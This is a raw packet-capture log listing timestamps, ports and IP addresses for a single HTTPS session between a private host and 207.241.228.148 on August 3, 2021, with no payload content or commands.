Aug 3, 2021 20:39:45.232547998 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.232570887 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.232580900 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.232594013 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.232614994 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.232624054 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.232637882 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.232654095 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.232661009 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.232688904 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.232700109 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.232712984 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.232734919 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.232753038 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.232758999 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.232781887 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.232796907 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.252906084 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.252959013 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.252998114 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.253038883 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.253093004 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.253108025 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.253129959 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.253137112 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.253169060 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.253170013 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.253207922 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.253238916 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.253257036 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.253298998 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.253317118 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.253336906 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.253380060 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.253406048 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.253417969 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.253456116 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.253477097 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.253494978 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.253532887 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.253560066 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.253623962 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.253675938 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.253699064 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.253714085 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.253761053 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.253773928 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.253803015 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.253840923 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.253859997 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.253879070 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.253916025 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.253933907 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.253952026 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.253988981 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.254014969 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.254024982 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.254071951 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.254108906 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.254115105 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.254152060 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.254173994 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.254190922 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.254229069 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.254250050 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.281336069 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.281480074 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.328931093 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.370799065 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.409017086 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.409061909 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.409085035 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.409110069 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.409130096 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.409128904 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.409145117 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.409163952 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.409187078 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.409208059 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.409497976 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.412714958 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.412750959 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.412771940 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.412786007 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.412794113 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.412816048 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.412839890 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.412863970 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.412868977 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.412884951 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.412905931 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.412914038 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.412928104 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.412945986 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.412950039 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.412971020 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.412991047 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.413002014 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.413016081 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.413038015 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.413043976 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.413058996 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.413080931 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.413101912 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.413106918 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.413124084 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.413144112 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.413145065 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.413166046 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.413172960 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.413189888 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.413211107 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.413212061 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.413233042 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.413250923 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.413254976 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.413275957 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.413295984 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.413302898 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.413316965 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.413337946 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.413340092 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.413361073 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.413382053 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.413383961 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.413405895 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.413428068 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.413444996 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.413449049 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.413470030 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.413491964 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.413495064 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.413512945 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.413522005 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.413537025 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.413558006 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.413562059 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.413579941 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.413621902 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.434056044 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.434093952 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.434118032 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.434144020 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.434149981 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.434163094 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.434182882 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.434206009 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.434220076 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.434225082 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.434247971 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.434251070 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.434273958 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.434298992 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.434309959 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.434323072 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.434348106 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.434353113 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.434387922 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.434412003 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.434422016 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.434437037 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.434447050 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.434462070 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.434484959 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.434509039 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.434523106 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.434533119 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.434552908 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.434561968 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.434590101 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.434611082 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.434612989 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.434638977 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.434663057 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.434672117 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.434685946 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.434708118 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.434710979 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.434735060 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.434762955 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.434765100 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.434791088 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.434803009 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.434814930 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.434839010 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.434859037 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.461319923 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.461378098 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.461435080 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.511482000 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.550467968 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.550498009 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.550590038 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.588706970 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.588738918 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.588795900 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.588884115 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.588907957 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.588943958 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.588968039 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.588969946 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.588990927 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.589011908 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.589014053 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.589034081 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.589055061 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.589055061 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.589097977 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.593183041 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.593219042 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.593246937 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.593275070 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.593302011 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.593311071 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.593327999 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.593354940 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.593369007 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.593381882 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.593406916 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.593410015 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.593441010 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.593441963 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.593468904 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.593493938 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.593494892 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.593523026 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.593549967 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.593565941 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.593576908 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.593604088 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.593604088 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.593631983 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.593662024 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.593673944 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.593689919 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.593717098 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.593719006 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.593744040 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.593770981 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.593775988 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.593796015 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.593825102 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.593832970 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.593853951 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.593882084 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.593883038 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.593911886 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.593938112 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.593954086 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.593965054 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.593991041 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.594012022 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.594018936 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.594046116 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.594055891 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.594073057 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.594105959 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.594111919 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.594135046 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.594156027 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.594156027 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.594176054 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.594196081 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.594218969 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.594222069 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.594239950 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.594301939 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.594609976 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.615206003 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.615233898 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.615246058 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.615261078 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.615276098 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.615288973 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.615309000 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.615331888 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.615333080 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.615354061 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.615371943 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.615394115 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.615410089 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.615418911 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.615441084 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.615444899 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.615463972 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.615474939 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.615484953 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.615499020 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.615511894 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.615534067 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.615555048 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.615555048 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.615575075 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.615592003 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.615597010 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.615618944 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.615632057 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.615641117 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.615664005 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.615674973 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.615689039 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.615711927 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.615725040 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.615731955 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.615752935 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.615771055 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.615772963 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.615792990 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.615813017 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.615813971 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.615833044 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.615852118 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.615856886 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.615878105 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.615899086 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.615900040 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.615940094 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.641405106 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.641438007 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.641510963 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.691313028 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.730465889 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.730496883 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.730550051 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.768572092 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.768595934 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.768610954 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.768637896 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.768646002 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.768656015 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.768671036 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.768677950 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.768687010 CEST	443	49756	207.241.228.148	192.168.2.4
